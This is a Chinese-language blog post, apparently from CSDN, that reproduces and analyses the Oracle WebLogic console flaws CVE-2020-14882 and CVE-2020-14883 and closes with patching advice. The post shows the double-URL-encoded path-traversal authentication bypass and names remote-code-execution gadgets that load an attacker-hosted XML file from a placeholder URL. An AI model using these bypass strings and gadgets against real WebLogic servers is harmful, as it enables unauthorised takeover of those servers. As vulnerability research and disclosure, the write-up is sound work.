一、背景
- 漏洞概述:
WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。
10月21日,Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。
此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
- 漏洞编号:
CVE-2020-14882、CVE-2020-14883
- 漏洞等级:
高危,CVSS评分9.8
- 受影响的版本:
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
二、复现
- 复现环境:
本次测试是用的weblogic 10.3.6.0及weblogic12.2.1.3.0,weblogic12.2.1.4.0
![c3a3e1a89fd3a3c5f1a41fbb7b37893d.png](https://i-blog.csdnimg.cn/blog_migrate/39b358c4f3f55bfce5e5d43e565deb63.jpeg)
![3e4c735b35bb24233b1c4955cf4ff35b.png](https://i-blog.csdnimg.cn/blog_migrate/61c34c034ec175497b2ab7c80d40f4dc.jpeg)
- 权限绕过漏洞(CVE-2020-14882)复现:
在正常访问console后台时会提示输入帐号密码
![0e96206a76aad7a027e3e992944132b7.png](https://i-blog.csdnimg.cn/blog_migrate/2c004d9efd534e714e101646b4a63e20.jpeg)
对于其他路径也限制了访问,可以看到返回403
通过未授权访问,则可以绕过验证直接访问后台。
![bbdaada1e2a6fb4a663b559d6cc9d6dd.png](https://i-blog.csdnimg.cn/blog_migrate/13c3865c9f959d5af03fc59a3ff3efc7.jpeg)
可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。
![f5f954e9772ae17ecb2257b12c4eafd8.png](https://i-blog.csdnimg.cn/blog_migrate/e23777aba58284eebd8c0b3fc830eb99.jpeg)
‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台
![e72b33be0dde1a5074b110c4e04016e2.png](https://i-blog.csdnimg.cn/blog_migrate/48b0f78aa614be242afc1e84fdb1d353.jpeg)
- 任意代码执行复现:
利用上述未授权访问CVE-2020-14882结合CVE-2020-14883
- 利用方式(一):
通过:
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,这种方法最早在CVE-2019-2725被提出,该方法通用于各版本weblogic。
这里首先需要我们构造一个恶意的xml文件,如这里我们自己搭建的http://10.211.55.2:9999/rce-win.xml。
其次需要被攻击的weblogic能够访问我们的恶意xml。
![7ab0ac79a30b178a534af3f8ec503fd5.png](https://i-blog.csdnimg.cn/blog_migrate/2b6892ecda04253312ee8d7424fcd6d4.jpeg)
![ecdf3117ed976a47934e9699916142f4.png](https://i-blog.csdnimg.cn/blog_migrate/5a54728a24ca78b06f2e37c57163dfd9.jpeg)
其他gadget:
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP/poc.xml")
- 利用方式(二):
通过com.tangosol.coherence.mvel2.sh.ShellSession,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
我们可以看到在当前10.3.6版本会提示
![8edca5d8d736a0d9979b675a689aac09.png](https://i-blog.csdnimg.cn/blog_migrate/c13efbe553125dfe1c265bc57c59733d.jpeg)
当使用12版本测试时,即可测试成功
![e71cdfd742d5b2da8c782c0377a6d125.png](https://i-blog.csdnimg.cn/blog_migrate/469f5b7524e42bbaec52f6ef8de62259.jpeg)
- 其他exp:
比如回显的
![33fc46ef0dbe4fa115b1dd76e2d76ee6.png](https://i-blog.csdnimg.cn/blog_migrate/ff81dd1dfa01c0bfc33a6ed31c2b4139.jpeg)
或者POST形式 :
![b7ce3e30c684e8d62f3349083a777774.png](https://i-blog.csdnimg.cn/blog_migrate/7738da7370047695d5a4617928295f95.jpeg)
- 调试分析:
首先,通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。
从绕过路径权限的校验开始。首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理,这里会调用securedExecute()
![848443846e88ad8f52c465423cdf800a.png](https://i-blog.csdnimg.cn/blog_migrate/c42a049607f8777a43d583924de553d2.jpeg)
跟进securedExecute,后会调用doSecuredExecute,继续跟进
![df848afcc9fad97285ca04d244fbc342.png](https://i-blog.csdnimg.cn/blog_migrate/84a8239e94cb7ec405c80f22e4058ed6.jpeg)
weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
在这里调用checkAccess进行权限的检查
![c78e935ebca192d9f1fb51662cb614ab.png](https://i-blog.csdnimg.cn/blog_migrate/ed70296da2d2e20cd6f3653c1d0c827f.jpeg)
进入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到当我们请求的路径为/console/console.portal时,checkAllResources为false
![a773a50dc9ab98afd02c69f73b07a321.png](https://i-blog.csdnimg.cn/blog_migrate/952131997e9a6f2119e33912d8879029.jpeg)
这里跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()
![2dabf3531f0105124430230782cfcef7.png](https://i-blog.csdnimg.cn/blog_migrate/d56d24851fc2db708ed5e06004ec8e80.jpeg)
这里即比较我们的relURI是否匹配我们matchMap中的路径,并判断rcForAllMethods和rcForOneMethod是否为null
![b410eac7ea2eee06a366ac867ce18d91.png](https://i-blog.csdnimg.cn/blog_migrate/4c3f7b4e7ad0ddd0432c6f0419f00a57.jpeg)
当我们的relURI为/console.portal时,rcForAllMethods不为null,rcForOneMethod为null,所以返回了rcForAllMethods。而对应静态资源就不会有限制和校验
![0c30604373e3de94af8ade2c270db917.png](https://i-blog.csdnimg.cn/blog_migrate/11f5e1e303e5587213cabf01109fc397.jpeg)
接下来回到checkAccess,如果这里是原来的/console.portal时,到这就结束了
![2b15694e25f6b601874f4bf60900829a.png](https://i-blog.csdnimg.cn/blog_migrate/d78bc36c1d518a3a14da089715e474f7.jpeg)
如果使用console/images/console.portal则会继续判断resourceConstraint及后续的isAuthorized,并进入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess
![cf3c88b2d2c2a9549ce3c7e62351cd22.png](https://i-blog.csdnimg.cn/blog_migrate/347a57885ee8e16826272bfc2f2cda90.jpeg)
在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中会进入hasPermission校验权限
![02136d221ac7195ebe3a0104f551c874.png](https://i-blog.csdnimg.cn/blog_migrate/2ccde3a3157383a937b061051e835bdf.jpeg)
所以当我们这里使用静态资源路径时,unrestrict值就为true
![4c1e28c32f18a2d08d8c58c1d849dc5a.png](https://i-blog.csdnimg.cn/blog_migrate/15938506ed95f72645d30a86fe34e740.jpeg)
之后会根据web.xml中的配置对应的AsyncInitServlet来到了weblogic.servlet.AsyncInitServlet#service
![9ba254517986d320df3fac89ae623625.png](https://i-blog.csdnimg.cn/blog_migrate/1e487053d6b47238b55a908af936979d.jpeg)
这里如果解码后的url里没有;,那么就会继续调用super.service
![1f2938214cb61ce0600c18678ed21365.png](https://i-blog.csdnimg.cn/blog_migrate/a17bf596442b5e9fad0d656b9d1b90d6.jpeg)
再次进入super.service()
![d551b5e9112c2631931fa0049692aeff.png](https://i-blog.csdnimg.cn/blog_migrate/c5b45389e9d9f79b349aa6fba9853433.jpeg)
最终不管哪种请求都会来到doPost,并在这里调用createUIContext
![c8d22d2796efecd581e72ff822ea02d3.png](https://i-blog.csdnimg.cn/blog_migrate/ef350697c7ab9ce13d86c2072fd507a4.jpeg)
可以看到此时已经经过了一次解码
![5d5ffe7627e59152dad3d99117d9b70f.png](https://i-blog.csdnimg.cn/blog_migrate/6333989bdc99c536bdd9e26011fcabaa.jpeg)
随后进入getTree又进行了一次解码,此时requestPattern就变成/css/../console.portal
![bb821885112f9565c5642db86ef4b5c5.png](https://i-blog.csdnimg.cn/blog_migrate/dbb75e08a835ec74cd6d5b571f996216.jpeg)
之后来到com.bea.console.utils.BreadcrumbBacking#init类,进入findFirstHandle
![a281f95b1b381163d0b44d2825898d7b.png](https://i-blog.csdnimg.cn/blog_migrate/9b10a353a4365f70e3297c1e8d9c1dcf.jpeg)
这里会逐个检查参数中是否有handle并将handle的参数内容提取出来返回
![b4ea98542735f812d7af81e37c280968.png](https://i-blog.csdnimg.cn/blog_migrate/f616d982c952c2803076466d495eb83e.jpeg)
最后将获取到的handleStr作为参数调用HandleFactory.getHandle(handleStr);此时也就来到了代码执行的入口
![21669130a58ecd4c15eb2d7cf4cf0e24.png](https://i-blog.csdnimg.cn/blog_migrate/54af758dcf01ac0025d423c6091d1bd7.jpeg)
此时传进来的handleStr会在这里被拆成两部分,一个作为被实例化的类,另一个作为该类的构造函数参数及实例化,比如java.lang.String('aaaa'),被拆分成java.lang.String和aaaa
![d265c75d8922b130358e1f7f7ad8d81b.png](https://i-blog.csdnimg.cn/blog_migrate/3100cb726ca136aff7ffcd10ef8ee398.jpeg)
所以我们就可根据此来构造gadget,最终通过反射机制在此触发
![325bfc6e1a6d240326d415a5b161f40a.png](https://i-blog.csdnimg.cn/blog_migrate/64fabdd29c895225674b2b41cc4a8437.jpeg)
比如当我们构造了恶意gadget后就变成了这样,随后即可触发rce
![5d6feedd0a5589706359531b2125a6ae.png](https://i-blog.csdnimg.cn/blog_migrate/e25e8c7cec0b8640dc248c47696417eb.jpeg)
三、修复
目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。
Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
参考链接:https://www.oracle.com/security-alerts/cpuoct2020.html
在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。